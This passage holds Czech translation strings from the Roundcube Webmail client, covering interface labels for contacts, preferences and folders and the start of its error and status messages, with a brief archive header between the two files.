$labels['region'] = 'Kraj';
$labels['country'] = 'Země';
$labels['birthday'] = 'Datum narození';
$labels['anniversary'] = 'Výročí';
$labels['website'] = 'WWW';
$labels['instantmessenger'] = 'Komunikace (ICQ, messenger...)';
$labels['notes'] = 'Poznámky';
$labels['male'] = 'muž';
$labels['female'] = 'žena';
$labels['manager'] = 'Manažer';
$labels['assistant'] = 'Asistent';
$labels['spouse'] = 'Manžel/ka';
$labels['allfields'] = 'Všechny položky';
$labels['search'] = 'Hledat';
$labels['searchresult'] = 'Výsledek hledání';
$labels['advsearch'] = 'Pokročilé vyhledávání';
$labels['advanced'] = 'Pokročilé';
$labels['other'] = 'Ostatní';
$labels['printcontact'] = 'Vytisknout kontakt';
$labels['qrcode'] = 'QR kód';
$labels['typehome'] = 'Domací';
$labels['typework'] = 'Pracovní';
$labels['typeother'] = 'Ostatní';
$labels['typemobile'] = 'Mobil';
$labels['typemain'] = 'Osobní';
$labels['typehomefax'] = 'Domácí FAX';
$labels['typeworkfax'] = 'Pracovní FAX';
$labels['typecar'] = 'Automobil';
$labels['typepager'] = 'Pager';
$labels['typevideo'] = 'Video';
$labels['typeassistant'] = 'Asistent';
$labels['typehomepage'] = 'Domácí stránka';
$labels['typeblog'] = 'Blog';
$labels['typeprofile'] = 'Profil';
$labels['addfield'] = 'Přidat položku...';
$labels['addcontact'] = 'Přidání kontaktu';
$labels['editcontact'] = 'Upravit kontakt';
$labels['contacts'] = 'Kontakty';
$labels['contactproperties'] = 'Vlastnosti kontaktu';
$labels['contactnameandorg'] = 'Jméno a Organizace';
$labels['personalinfo'] = 'Osobní informace';
$labels['personal'] = 'Osobní';
$labels['contactphoto'] = 'Fotografie kontaktu';
$labels['edit'] = 'Upravit';
$labels['cancel'] = 'Konec';
$labels['save'] = 'Uložit';
$labels['delete'] = 'Smazat';
$labels['discard'] = 'Zahodit';
$labels['continue'] = 'Pokračovat';
$labels['ok'] = 'OK';
$labels['rename'] = 'Přejmenovat';
$labels['addphoto'] = 'Přidat';
$labels['replacephoto'] = 'Nahradit';
$labels['uploadphoto'] = 'Nahrát fotku';
$labels['choosefile'] = 'Vybrat soubor...';
$labels['choosefiles'] = 'Vybrat soubory...';
$labels['browse'] = 'Procházet';
$labels['newcontact'] = 'Vytvořit nový kontakt';
$labels['deletecontact'] = 'Smazat vybrané kontakty';
$labels['composeto'] = 'Poslat e-mail';
$labels['contactsfromto'] = 'Kontakty $from až $to z celkem $count';
$labels['print'] = 'Tisk';
$labels['export'] = 'Export';
$labels['exportall'] = 'Export všech';
$labels['exportsel'] = 'Export vybraných';
$labels['exportvcards'] = 'Exportovat kontakty ve formátu vCard';
$labels['newgroup'] = 'Vytvořit novou skupinu';
$labels['addgroup'] = 'Přidat skupinu';
$labels['grouprename'] = 'Přejmenovat skupinu';
$labels['groupdelete'] = 'Smazat skupinu';
$labels['groupassign'] = 'Přiřadit do skupiny...';
$labels['groupremove'] = 'Odebrat ze skupiny';
$labels['groupremoveselected'] = 'Odstranit označené kontakty ze skupiny';
$labels['uponelevel'] = 'O jednu úroveň výš';
$labels['previouspage'] = 'Předchozí';
$labels['firstpage'] = 'Zobrazit první zprávy';
$labels['nextpage'] = 'Další';
$labels['lastpage'] = 'Zobrazit poslední zprávy';
$labels['group'] = 'Skupina';
$labels['groups'] = 'Skupiny';
$labels['listgroup'] = ' Seznam členů skupiny';
$labels['personaladrbook'] = 'Osobní kontakty';
$labels['searchsave'] = 'Uložit hledání';
$labels['searchdelete'] = 'Smazat hledání';
$labels['import'] = 'Import';
$labels['importcontacts'] = 'Importovat kontakty';
$labels['importfromfile'] = 'Importovat ze souboru';
$labels['importtarget'] = 'Přidat kontakty k';
$labels['importreplace'] = 'Nahradit celý seznam kontaktů';
$labels['importgroups'] = 'Importovat přiřazení do skupin';
$labels['importgroupsall'] = 'Vše (vytvořit skupiny v případě potřeby)';
$labels['importgroupsexisting'] = 'Pouze pro existující skupiny';
$labels['importdesc'] = 'Kontakty můžete nahrát z existujícího adresáře.<br/>V současnosti je podporováno načtení adres z dat ve formátu <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> a CSV (odděleno čárkou).';
$labels['importmapdesc'] = 'Potvrďte níže zobrazené přiřazení položek před importováním dat z CSV (odděleno čárkou) souboru.';
$labels['fieldnotmapped'] = 'Položka není přiřazena (nebude použita)';
$labels['skipheader'] = 'První řádku neimportovat (hlavičky)';
$labels['done'] = 'Hotovo';
$labels['settingsfor'] = 'Nastavení pro';
$labels['about'] = 'O programu';
$labels['preferences'] = 'Vlastnosti';
$labels['userpreferences'] = 'Vlastnosti uživatele';
$labels['editpreferences'] = 'Upravit vlastnosti uživatele';
$labels['identities'] = 'Profily';
$labels['manageidentities'] = 'Správa profilů';
$labels['newidentity'] = 'Vytvořit nový profil';
$labels['addidentity'] = 'Přidat profil';
$labels['editidentity'] = 'Upravit profil';
$labels['identityencryption'] = 'Šifrování';
$labels['preferhtml'] = 'Upřednostňovat HTML zobrazení';
$labels['defaultcharset'] = 'Výchozí kódování';
$labels['htmlmessage'] = 'HTML zpráva';
$labels['messagepart'] = 'Část';
$labels['digitalsig'] = 'Digitální podpis';
$labels['dateformat'] = 'Formát data';
$labels['timeformat'] = 'Formát času';
$labels['prettydate'] = 'Hezčí datum';
$labels['setdefault'] = 'Nastavit výchozí';
$labels['autodetect'] = 'Automaticky';
$labels['language'] = 'Jazyk';
$labels['timezone'] = 'Časová zóna';
$labels['pagesize'] = 'Řádků na stránku';
$labels['signature'] = 'Podpis';
$labels['dstactive'] = 'Letní čas';
$labels['showinextwin'] = 'Otevřít zprávu v novém okně';
$labels['composeextwin'] = 'Vytvořit v novém okně';
$labels['htmleditor'] = 'Vytvářet HTML zprávy';
$labels['htmlonreply'] = 'jen při odpovědi na HTML zprávy';
$labels['htmlonreplyandforward'] = 'při přeposlání nebo odpovědi na HTML zprávu';
$labels['htmlsignature'] = 'HTML podpis';
$labels['showemail'] = 'Zobrazit e-mailovou adresu se skutečným jménem';
$labels['previewpane'] = 'Zobrazit panel náhledu';
$labels['skin'] = 'Vzhled';
$labels['logoutclear'] = 'Vyprázdnit koš při odhlášení';
$labels['logoutcompact'] = 'Provést údržbu schránky při odhlášení';
$labels['uisettings'] = 'Uživatelské rozhraní';
$labels['serversettings'] = 'Nastavení serveru';
$labels['mailboxview'] = 'Zobrazení schránky';
$labels['mdnrequests'] = 'Oznámení o doručení';
$labels['askuser'] = 'zeptat se';
$labels['autosend'] = 'poslat potvrzení automaticky';
$labels['autosendknown'] = 'poslat potvrzení pouze mým kontaktům, jinak se zeptat';
$labels['autosendknownignore'] = 'poslat potvrzení pouze mým kontaktům, jinak ignorovat';
$labels['autosendtrusted'] = 'odeslat potvrzení pouze důvěryhodným odesilatelům, jinak se mě zeptat';
$labels['autosendtrustedignore'] = 'odeslat potvrzení pouze důvěryhodným odesilatelům, jinak ignorovat';
$labels['ignorerequest'] = 'ignorovat požadavek';
$labels['readwhendeleted'] = 'Při odstranění označit zprávu jako přečtenou';
$labels['flagfordeletion'] = 'Zprávu nemazat, pouze označit pro odstranění';
$labels['skipdeleted'] = 'Nezobrazovat smazané zprávy';
$labels['deletealways'] = 'Odstranit zprávy, pokud selže jejich přesun do koše';
$labels['deletejunk'] = 'Přímo mazat zprávy ze složky Nevyžádaná pošta';
$labels['showremoteimages'] = 'Zobrazovat obrázky uložené mimo mail';
$labels['allowremoteresources'] = 'Povolit vzdálené zdroje (obrázky, styly)';
$labels['fromknownsenders'] = 'od známých uživatelů';
$labels['fromtrustedsenders'] = 'od důvěryhodných odesilatelů';
$labels['frommycontacts'] = 'od mých kontaktů';
$labels['always'] = 'vždy';
$labels['alwaysbutplain'] = 'vždy, pokud se neodpovídá na zprávu ve formátu plain text';
$labels['showinlineimages'] = 'Zobrazovat připojené obrázky pod textem';
$labels['autosavedraft'] = 'Automaticky uložit rozepsané zprávy';
$labels['everynminutes'] = 'každých $n minut';
$labels['refreshinterval'] = 'Obnovit (zkontroluj nové zprávy, atd.)';
$labels['never'] = 'nikdy';
$labels['immediately'] = 'ihned';
$labels['messagesdisplaying'] = 'Zobrazování zpráv';
$labels['messagescomposition'] = 'Psaní zpráv';
$labels['mimeparamfolding'] = 'Jména příloh';
$labels['2231folding'] = 'RFC 2231 (Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS Outlook)';
$labels['2047folding'] = 'RFC 2047 (ostatní)';
$labels['force7bit'] = 'Použít kódování MIME pro 8-bitové znaky';
$labels['savelocalstorage'] = "Uložit v lokální paměti prohlížeče (dočasně)";
$labels['advancedoptions'] = 'Pokročilá nastavení';
$labels['toggleadvancedoptions'] = 'Přepnout pokročilé možnosti';
$labels['focusonnewmessage'] = 'Aktivovat okno prohlížeče při příchozí zprávě';
$labels['checkallfolders'] = 'Kontrolovat nové zprávy ve všech složkách';
$labels['displaynext'] = 'Zobrazit další záznam po smazání/přesunutí';
$labels['defaultfont'] = 'Výchozí písmo zprávy HTML';
$labels['mainoptions'] = 'Hlavní nastavení';
$labels['browseroptions'] = 'Možnosti prohlížeče';
$labels['section'] = 'Sekce';
$labels['maintenance'] = 'Údržba';
$labels['newmessage'] = 'Nová zpráva';
$labels['signatureoptions'] = 'Nastavení podpisu';
$labels['whenreplying'] = 'Při odpovídání';
$labels['replyempty'] = 'necitovat původní zprávu';
$labels['replytopposting'] = 'začít novou zprávu nad původní';
$labels['replytoppostingnoindent'] = 'Začít novou zprávu nad citovanou (bez odsazení)';
$labels['replybottomposting'] = 'začít novou zprávu pod původní';
$labels['replyremovesignature'] = 'Při odpovídání odstranit ze zprávy původní podpis';
$labels['autoaddsignature'] = 'Automaticky přidat podpis';
$labels['newmessageonly'] = 'pouze k novým zprávám';
$labels['replyandforwardonly'] = 'jen k odpovědi a přeposílané zprávě';
$labels['insertsignature'] = 'Vložit podpis';
$labels['sigbelow'] = 'Vkládat podpis pod citovanou zprávu';
$labels['sigseparator'] = 'Vynutit standardní oddělovač v podpisech';
$labels['automarkread'] = 'Označit zprávy jako přečtené';
$labels['afternseconds'] = 'po $n sekundách';
$labels['reqmdn'] = 'Vždy požadovat doručenku';
$labels['reqdsn'] = 'Vždy požádat o oznámení stavu doručení';
$labels['replysamefolder'] = 'Ukládat odpovědi ve stejné složce jako je zodpovězená zpráva';
$labels['defaultabook'] = 'Výchozí adresář kontaktů';
$labels['autocompletesingle'] = 'Při doplňování adres přeskočit alternativní e-mailovou adresu.';
$labels['listnamedisplay'] = 'Vypsat kontakty jako';
$labels['contactformmode'] = 'Forma kontaktu';
$labels['privatemode'] = 'Osobní (Domácí)';
$labels['businessmode'] = 'Pracovní';
$labels['collectedaddresses'] = 'Shromážděné adresy';
$labels['collectedrecipients'] = 'Shromáždění příjemci';
$labels['collectedrecipientsopt'] = 'Uložení příjemců z odchozích emailů do';
$labels['collectedsendersopt'] = 'Uložení důvěryhodných odesilatelů do';
$labels['trustedsenders'] = 'Důvěryhodní odesilatelé';
$labels['spellcheckbeforesend'] = 'Před odesláním zkontrolovat pravopis';
$labels['spellcheckoptions'] = 'Nastavení pravopisu';
$labels['spellcheckignoresyms'] = 'Ignorovat slova obsahující symboly';
$labels['spellcheckignorenums'] = 'Ignorovat slova obsahující čísla';
$labels['spellcheckignorecaps'] = 'Ignorovat slova psaná velkými písmeny';
$labels['addtodict'] = 'Přidat do slovníku';
$labels['mailtoprotohandler'] = 'Zaregistrovat handler pro odkazy „mailto:“';
$labels['standardwindows'] = 'Zacházet s vyskakovacími okny jako se standardními okny';
$labels['forwardmode'] = 'Přeposlat zprávu';
$labels['inline'] = 'vloženě';
$labels['asattachment'] = 'jako přílohu';
$labels['replyallmode'] = 'Výchozí akce tlačítka [Odpovědět všem]';
$labels['replyalldefault'] = 'odpovědět všem';
$labels['replyalllist'] = 'odpovědět pouze do poštovní konference (pokud je nalezena)';
$labels['allmessages'] = 'Všechny zprávy';
$labels['olderxdays'] = 'starší než $x dní';
$labels['folder'] = 'Složka';
$labels['folders'] = 'Složky';
$labels['foldername'] = 'Jméno složky';
$labels['subscribed'] = 'Vybráno';
$labels['messagecount'] = 'Počet zpráv';
$labels['create'] = 'Vytvořit';
$labels['createfolder'] = 'Vytvořit novou složku';
$labels['managefolders'] = 'Spravovat složky';
$labels['specialfolders'] = 'Speciální složky';
$labels['properties'] = 'Vlastnosti';
$labels['folderproperties'] = 'Vlastnosti složky';
$labels['parentfolder'] = 'Nadřazená složka';
$labels['location'] = 'Umístění';
$labels['info'] = 'Informace';
$labels['getfoldersize'] = 'Kliknutím zjistíte velikost složky';
$labels['changesubscription'] = 'Kliknutím změníte přednastavení';
$labels['foldertype'] = 'Typ složky';
$labels['personalfolder'] = 'Soukromá složka';
$labels['otherfolder'] = 'Složky ostatních uživatelů';
$labels['sharedfolder'] = 'Sdílená složka';
$labels['findfolders'] = 'Hledat složky';
$labels['findcontacts'] = 'Najít kontakty';
$labels['findmail'] = 'Najít zprávy';
$labels['namespace.personal'] = 'Osobní';
$labels['namespace.other'] = 'Jiných uživatelů';
$labels['namespace.shared'] = 'Sdílené';
$labels['dualuselabel'] = 'Může obsahovat pouze';
$labels['dualusemail'] = 'zprávy';
$labels['dualusefolder'] = 'složky';
$labels['generate'] = 'Vygenerovat';
$labels['encryptioncreatekey'] = 'Vytvořit nový pár klíčů';
$labels['openmailvelopesettings'] = 'Otevřít nastavení Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'V klíčence Mailvelope máte $nr odpovídajících privátních PGP klíčů:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Klíčenka Mailvelope neobsahuje privátní PGP klíč identity odesílatele. Chcete ho pro šifrování zpráv vytvořit?';
$labels['encryption'] = 'Šifrování';
$labels['mailvelopeoptions'] = 'Nastavení Mailvelope';
$labels['mailvelopemainkeyring'] = 'Použít hlavní klíčenku Mailvelope';
$labels['mailvelopenotfound'] = 'Rozšíření Mailvelope není povoleno nebo nainstalováno ve vašem prohlížeči.';
$labels['sortby'] = 'Seřadit podle';
$labels['sortasc'] = 'Seřadit vzestupně';
$labels['sortdesc'] = 'Seřadit sestupně';
$labels['undo'] = 'Vrátit zpět';
$labels['installedplugins'] = 'Nainstalované pluginy';
$labels['plugin'] = 'Zásuvný modul';
$labels['version'] = 'Verze';
$labels['source'] = 'Zdroj';
$labels['destination'] = 'Cíl';
$labels['license'] = 'Licence';
$labels['support'] = 'Podpora';
$labels['savedsearches'] = 'Uložená vyhledávání';
$labels['dateformatY'] = 'RRRR';
$labels['dateformaty'] = 'RR';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Angličtina';
$labels['westerneuropean'] = 'Západní Evropa';
$labels['easterneuropean'] = 'Východní Evropa';
$labels['southeasterneuropean'] = 'Jiho-východní Evropa';
$labels['baltic'] = 'Baltština';
$labels['cyrillic'] = 'Cyrilice';
$labels['arabic'] = 'Arabština';
$labels['greek'] = 'Řečtina';
$labels['hebrew'] = 'Hebrejština';
$labels['turkish'] = 'Turečtina';
$labels['nordic'] = 'Nordština';
$labels['thai'] = 'Thajština';
$labels['celtic'] = 'Keltština';
$labels['vietnamese'] = 'Vietnamština';
$labels['japanese'] = 'Japonština';
$labels['korean'] = 'Korejština';
$labels['chinese'] = 'Čínština';
$labels['arialabeltopnav'] = 'Ovládání okna';
$labels['arialabeltasknav'] = 'Úlohy aplikace';
$labels['arialabeltoolbar'] = 'Panel nástrojů aplikace';
$labels['arialabellistnav'] = 'Seznam navigace';
$labels['arialabelactivetask'] = 'Aktivní úloha';
$labels['arialabelmessagessearchfilter'] = 'Filtr seznamu e-mailů';
$labels['arialabelmailsearchform'] = 'Formulář pro vyhledávání e-mailů';
$labels['arialabelcontactsearchform'] = 'Formulář pro vyhledávání kontaktů';
$labels['arialabelmailquicksearchbox'] = 'Vstup pro vyhledávání e-mailu';
$labels['arialabelquicksearchbox'] = 'Vstup pro vyhledávání';
$labels['arialabelfoldersearchfilter'] = 'Filtr pro seznam složek';
$labels['arialabelfoldersearchform'] = 'Formulář pro vyhledávání složek';
$labels['arialabelfolderlist'] = 'Výběr složky s e-mailovými zprávami';
$labels['arialabelmessagelist'] = 'Seznam e-mailových zpráv';
$labels['arialabelmailpreviewframe'] = 'Náhled zprávy';
$labels['arialabelmailboxmenu'] = 'Menu akcí pro složku';
$labels['arialabellistselectmenu'] = 'Menu pro výběr seznamu';
$labels['arialabelthreadselectmenu'] = 'Menu pro seznam vláken';
$labels['arialabelmessagelistoptions'] = 'Možnosti zobrazení a třídění seznamu zpráv';
$labels['arialabelmailimportdialog'] = 'Dialog pro import zpráv';
$labels['arialabelmessagenav'] = 'Navigace zprávy';
$labels['arialabelmessagebody'] = 'Tělo zprávy';
$labels['arialabelmessageactions'] = 'Akce zprávy';
$labels['arialabelcontactquicksearch'] = 'Formulář pro vyhledávání kontaktů';
$labels['arialabelcontactsearchbox'] = 'Vstup pro vyhledávání kontaktů';
$labels['arialabelmessageheaders'] = 'Hlavičky zprávy';
$labels['arialabelforwardingoptions'] = 'Možnosti přeposílání';
$labels['arialabelreplyalloptions'] = 'Možnosti pro "Odpovědět všem"';
$labels['arialabelmoremessageactions'] = 'Více akcí pro zprávu';
$labels['arialabelmorecontactactions'] = 'Další akce pro kontakt';
$labels['arialabelmarkmessagesas'] = 'Označit vybrané zprávy jako...';
$labels['arialabelcomposeoptions'] = 'Možnosti kompozice';
$labels['arialabelresponsesmenu'] = 'Menu pro předpřipravené odpovědi';
$labels['arialabelattachmentuploadform'] = 'Formulář pro vložení přílohy';
$labels['arialabelattachmentmenu'] = 'Možnosti přílohy';
$labels['arialabelmailtomenu'] = 'Možnosti e-mailové adresy';
$labels['arialabelattachmentpreview'] = 'Náhled přílohy';
$labels['ariasummarycomposecontacts'] = 'Seznam kontaktů a skupin pro výběr příjemců';
$labels['arialabelcontactexportoptions'] = 'Možnosti pro export kontaktu';
$labels['arialabelabookgroupoptions'] = 'Možnosti adresáře/skupiny';
$labels['arialabelpreferencesform'] = 'Formulář preferencí';
$labels['arialabelidentityeditfrom'] = 'Formulář pro úpravu identity';
$labels['arialabelresponseeditfrom'] = 'Formulář pro úpravu odpovědi';
$labels['arialabelsearchterms'] = 'Výrazy pro vyhledávání';
$labels['arialabeldropactionmenu'] = 'Drag-n-Drop akční menu';
$labels['arialabelheadersmenu'] = 'Menu přidání příjemce (hlavička)';
$labels['arialabelimagetools'] = 'Nástroje pro obrázky';
$labels['helplistnavigation'] = 'Seznam navigace pomocí klávesnice';
$labels['helplistkeyboardnavigation'] = "Šipky nahoru/dolu: Posunout výběr/označení řádku.
Mezerník: Označit vybraný řádek.
Shift + nahoru/dolu: Vybrat další řádek nad/pod.
Ctrl + Mezerník: Přidat/odebrat označení vybraného řádku.";
$labels['helplistkeyboardnavmessages'] = "Šipky vlevo/vpravo: Rozbalit/zabalit vlákno zprávy (pouze v režimu vláken).
Enter: Otevřít vybranou zprávu.
Delete: Přesunout vybrané zprávy do Koše.";
$labels['helplistkeyboardnavcontacts'] = "Enter: Otevřít označený/vybraný kontakt.";
PK
h�\��)1F1F'program/localization/cs_CZ/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'Došlo k chybě!';
$messages['loginfailed']  = 'Přihlášení selhalo.';
$messages['cookiesdisabled'] = 'Váš prohlížeč nepodporuje cookies, které jsou pro přihlášení nezbytné.';
$messages['sessionerror'] = 'Vaše přihlášení je neplatné nebo vypršelo.';
$messages['cookiesmismatch'] = 'Nalezena nekonzistentnost v cookies. Vymažte, prosím, cookies ve vašem prohlížeči.';
$messages['storageerror'] = 'Připojení na IMAP server selhalo.';
$messages['servererror'] = 'Chyba serveru!';
$messages['servererrormsg'] = 'Chyba serveru: $msg';
$messages['accountlocked'] = 'Příliš mnoho chybných pokusů o přihlášení. Zkuste to později.';
$messages['connerror'] = 'Chyba připojení (Selhalo připojeni k serveru)!';
$messages['dberror'] = 'Chyba databáze!';
$messages['dbconnerror'] = 'Nelze se připojit k databázi!';
$messages['windowopenerror'] = 'Vyskakovací okno bylo zablokováno!';
$messages['requesttimedout'] = 'Došlo k vypršení požadavku';
$messages['errorreadonly'] = 'Příkaz nelze provést, složka je určena jen ke čtení.';
$messages['errornoperm'] = 'Příkaz nelze provést, nemáte oprávnění.';
$messages['erroroverquota'] = 'Příkaz nelze provést, není volné místo na disku.';
$messages['erroroverquotadelete'] = 'Není volné místo na disku. Použijte SHIFT+DEL k odstranění zprávy.';
$messages['invalidrequest'] = 'Nesprávný požadavek. Data nebyla uložena.';
$messages['invalidhost'] = 'Špatné jméno serveru.';
$messages['nomessagesfound'] = 'Ve schránce nebyla nalezena žádná zpráva.';
$messages['loggedout'] = 'Byli jste odhlášeni. Na shledanou!';
$messages['mailboxempty'] = 'Schránka je prázdná';
$messages['nomessages'] = 'Žádné zprávy';
$messages['refreshing'] = 'Obnovuji...';
$messages['loading'] = 'Načítám...';
$messages['uploading'] = 'Nahrávám soubor...';
$messages['attaching'] = 'Přikládám soubor...';
$messages['uploadingmany'] = 'Nahrávám soubory...';
$messages['loadingdata'] = 'Načítám data...';
$messages['checkingmail'] = 'Kontroluji nové zprávy...';
$messages['sendingmessage'] = 'Odesílám zprávu...';
$messages['messagesent'] = 'Zpráva byla odeslána.';
$messages['savingmessage'] = 'Ukládám zprávu...';
$messages['messagesaved'] = 'Zpráva uložena do Rozepsané.';
$messages['successfullysaved'] = 'Uloženo.';
$messages['savingresponse'] = 'Ukládám text odpovědi...';
$messages['deleteresponseconfirm'] = 'Opravdu chcete odstranit tento text odpovědi?';
$messages['nocontactselected'] = 'Dosud jste nevybrali kontakt.';
$messages['addedsuccessfully'] = 'Kontakt byl přidán do adresáře.';
$messages['contactexists'] = 'Kontakt se zadanou e-mailovou adresou již existuje.';
$messages['contactnameexists'] = 'Kontakt se stejným jménem již existuje.';
$messages['blockedimages'] = 'Z bezpečnostních důvodů byly zablokovány obrázky ve zprávě.';
$messages['blockedresources'] = 'Z důvodu ochrany soukromí bylo zablokováno načtení vzdálených zdrojů.';
$messages['suspiciousemail'] = 'Zpráva obsahuje podezřelé adresáty, kteří mohou být podvodní.';
$messages['bccemail'] = 'Přeposílaná zpráva obsahuje důvěrné příjemce (Bcc).';
$messages['bouncehint'] = 'Zpráva bude odeslána bez dalších změn, t.j. bude použito původní tělo zprávy, hlavičky i příjemci.';
$messages['encryptedmessage'] = 'Tato zpráva je zašifrovaná a nelze ji zobrazit.';
$messages['externalmessagedecryption'] = 'Toto je šifrovaná zpráva a může být dešifrována pomocí rozšíření ve vašem prohlížeči.';
$messages['nopubkeyfor'] = 'Nenalezen validní veřejný klíč pro $email';
$messages['nopubkeyforsender'] = 'Pro Vaši identitu odesílatele se nenašel žádný platný veřejný klíč. Chcete správu zašifrovat pro příjemce?';
$messages['encryptnoattachments'] = 'Přílohy, které jste už uložili na server, není možné zašifrovat. Prosím, přidejte je znovu v editoru pro šifrování.';
$messages['searchpubkeyservers'] = 'Přejete si prohledat servery s klíči k nalezení chybějících klíčů?';
$messages['encryptpubkeysfound'] = 'Byly nalezeny následující veřejné klíče:';
$messages['keyservererror'] = 'Nebylo možné získat klíč ze serveru s klíči.';
$messages['keyimportsuccess'] = 'Veřejný klíč $key byl vložen do vaší klíčenky.';
$messages['nocontactsfound'] = 'Kontakty nebyly nalezeny.';
$messages['contactnotfound'] = 'Požadovaný kontakt nebyl nalezen.';
$messages['contactsearchonly'] = 'Pro zobrazení kontaktů ze zvoleného adresáře použijte vyhledávací formulář.';
$messages['sendingfailed'] = 'Odesílání zprávy selhalo.';
$messages['senttooquickly'] = 'Prosím počkejte $sec sekund před odesláním zprávy.';
$messages['errorsavingsent'] = 'Nastala chyba při ukládání odeslané zprávy.';
$messages['errorsaving'] = 'Vyskytla se chyba při ukládání.';
$messages['errormoving'] = 'Nemohu přesunout zprávu.';
$messages['errorcopying'] = 'Nemohu zkopírovat zprávu.';
$messages['errordeleting'] = 'Nemohu smazat zprávu.';
$messages['errormarking'] = 'Zprávu nelze označit.';
$messages['alerttitle'] = 'Pozor';
$messages['confirmationtitle'] = 'Jste si jistý...';
$messages['deletecontactconfirm']  = 'Opravdu chcete smazat označené kontakty?';
$messages['deletegroupconfirm']  = 'Opravdu chcete smazat skupinu?';
$messages['deletemessagesconfirm'] = 'Opravdu chcete smazat označené zprávy?';
$messages['deletefolderconfirm']  = 'Opravdu chcete smazat tento adresář?';
$messages['movefolderconfirm']  = 'Opravdu chcete přesunout tento adresář?';
$messages['purgefolderconfirm']  = 'Opravdu chcete smazat všechny zprávy v této složce?';
$messages['contactdeleting'] = 'Mažu kontakty...';
$messages['groupdeleting'] = 'Mažu skupinu...';
$messages['folderdeleting'] = 'Odstraňuji složku...';
$messages['foldermoving'] = 'Přesouvám složku...';
$messages['foldersubscribing'] = 'Přihlašuji složku k odběru...';
$messages['folderunsubscribing'] = 'Odhlašuji odběr složky...';
$messages['formincomplete'] = 'Formulář nebyl korektně vyplněn.';
$messages['noemailwarning'] = 'Zadejte, prosím, platnou e-mailovou adresu.';
$messages['nonamewarning']  = 'Zadejte, prosím, jméno.';
$messages['nopagesizewarning'] = 'Zadejte, prosím, velikost stránky.';
$messages['nosenderwarning'] = 'Zadejte e-mailovou adresu odesílatele.';
$messages['recipientsadded'] = 'Příjemci byli přidáni.';
$messages['norecipientwarning'] = 'Zadejte, prosím, alespoň jednoho příjemce.';
$messages['disclosedrecipwarning'] = 'Všichni příjemci uvidí adresy ostatních příjemců. Pro ochranu soukromí příjemců můžete použít pole Skrytá kopie (Bcc).';
$messages['disclosedreciptitle'] = 'Příliš mnoho veřejných příjemců';
$messages['nosubjectwarning']  = 'Předmět nebyl vyplněn. Přejete si jej zadat nyní?';
$messages['nosubjecttitle']  = 'Žádný předmět';
$messages['nobodywarning'] = 'Opravdu chtete odeslat prázdnou zprávu?';
$messages['notsentwarning'] = 'Zpráva nebyla odeslána a obsahuje neuložené změny. Přejete si změny zahodit?';
$messages['restoresavedcomposedata'] = 'Byla nalezena dříve vytvořená ale neodeslaná zpráva.\n\nPředmět: $subject\nUloženo: $date\n\nPřejete si obnovit tuto zprávu?';
$messages['nosearchname'] = 'Zadejte, prosím, jméno nebo e-mail kontaktu.';
$messages['notuploadedwarning'] = 'Ještě nebyly nahrány všechny přílohy. Počkejte prosím nebo nahrávání zrušte.';
$messages['searchsuccessful'] = 'Nalezeno $nr zpráv.';
$messages['contactsearchsuccessful'] = 'Nalezeno $nr kontaktů.';
$messages['searchnomatch'] = 'Nenalezena žádná zpráva';
$messages['searching'] = 'Vyhledávám...';
$messages['checking'] = 'Kontroluji...';
$messages['stillsearching'] = 'Stále vyhledávám...';
$messages['nospellerrors'] = 'Nebyly nalezeny žádné chyby.';
$messages['folderdeleted'] = 'Složka byla vymazána.';
$messages['foldersubscribed'] = 'Složka byla přihlášena k odběru.';
$messages['folderunsubscribed'] = 'Odběr složky byl odhlášen.';
$messages['folderpurged'] = 'Složka byla vyprázdněna.';
$messages['folderexpunged'] = 'Složka byla zkomprimována.';
$messages['deletedsuccessfully'] = 'Smazáno.';
$messages['converting'] = 'Odstraňuji formátování ze zprávy...';
$messages['messageopenerror'] = 'Nemohu načíst zprávu ze serveru.';
$messages['filelinkerror'] = 'Přikládání souboru selhalo.';
$messages['fileuploaderror'] = 'Nahrávání souboru selhalo.';
$messages['csvfilemismatch'] = 'Iimport více CSV souborů s různými poli není podporován.';
$messages['filesizeerror'] = 'Soubor přesáhl maximální velikost $size.';
$messages['filecounterror'] = 'Můžete nahrát maximálně $count souborů najednou.';
$messages['msgsizeerror'] = 'Selhalo připojení souboru. Byla překročena maximální velikost zprávy ($size).';
$messages['msgsizeerrorfwd'] = 'Překročena maximální délka zprávy ($size). Počet položek, které nebyly připojeny je $num.';
$messages['copysuccess'] = 'Zkopírováno $nr kontaktů.';
$messages['movesuccess'] = 'Přesunuto $nr kontaktů.';
$messages['copyerror'] = 'Kontakty nelze kopírovat.';
$messages['moveerror'] = 'Kontakty nelze přesunout.';
$messages['sourceisreadonly'] = 'Tento zdroj adres je pouze pro čtení.';
$messages['errorsavingcontact'] = 'Nemohu uložit adresu kontaktu.';
$messages['movingmessage'] = 'Přesouvám zprávu...';
$messages['copyingmessage'] = 'Kopíruji zprávu...';
$messages['copyingcontact'] = 'Kopíruji kontakty...';
$messages['movingcontact'] = 'Přesouvám kontakty...';
$messages['deletingmessage'] = 'Odstraňuji zprávu...';
$messages['markingmessage'] = 'Označuji zprávu...';
$messages['addingmember'] = 'Přidávám kontakty do skupiny...';
$messages['removingmember'] = 'Odstraňuji kontakty ze skupiny...';
$messages['receiptsent'] = 'Potvrzení o přřijetí zprávy odesláno.';
$messages['errorsendingreceipt'] = 'Potvrzení o přijetí zprávy nebylo možné odeslat.';
$messages['deleteidentityconfirm'] = 'Opravdu chcete odstranit tuto identitu?';
$messages['nodeletelastidentity'] = 'Alespoň jedna identita musí být ponechána. Identitu nelze odstranit.';
$messages['forbiddencharacter'] = 'Název složky obsahuje zakázaný znak.';
$messages['selectimportfile'] = 'Prosím vyberte soubor k nahrání.';
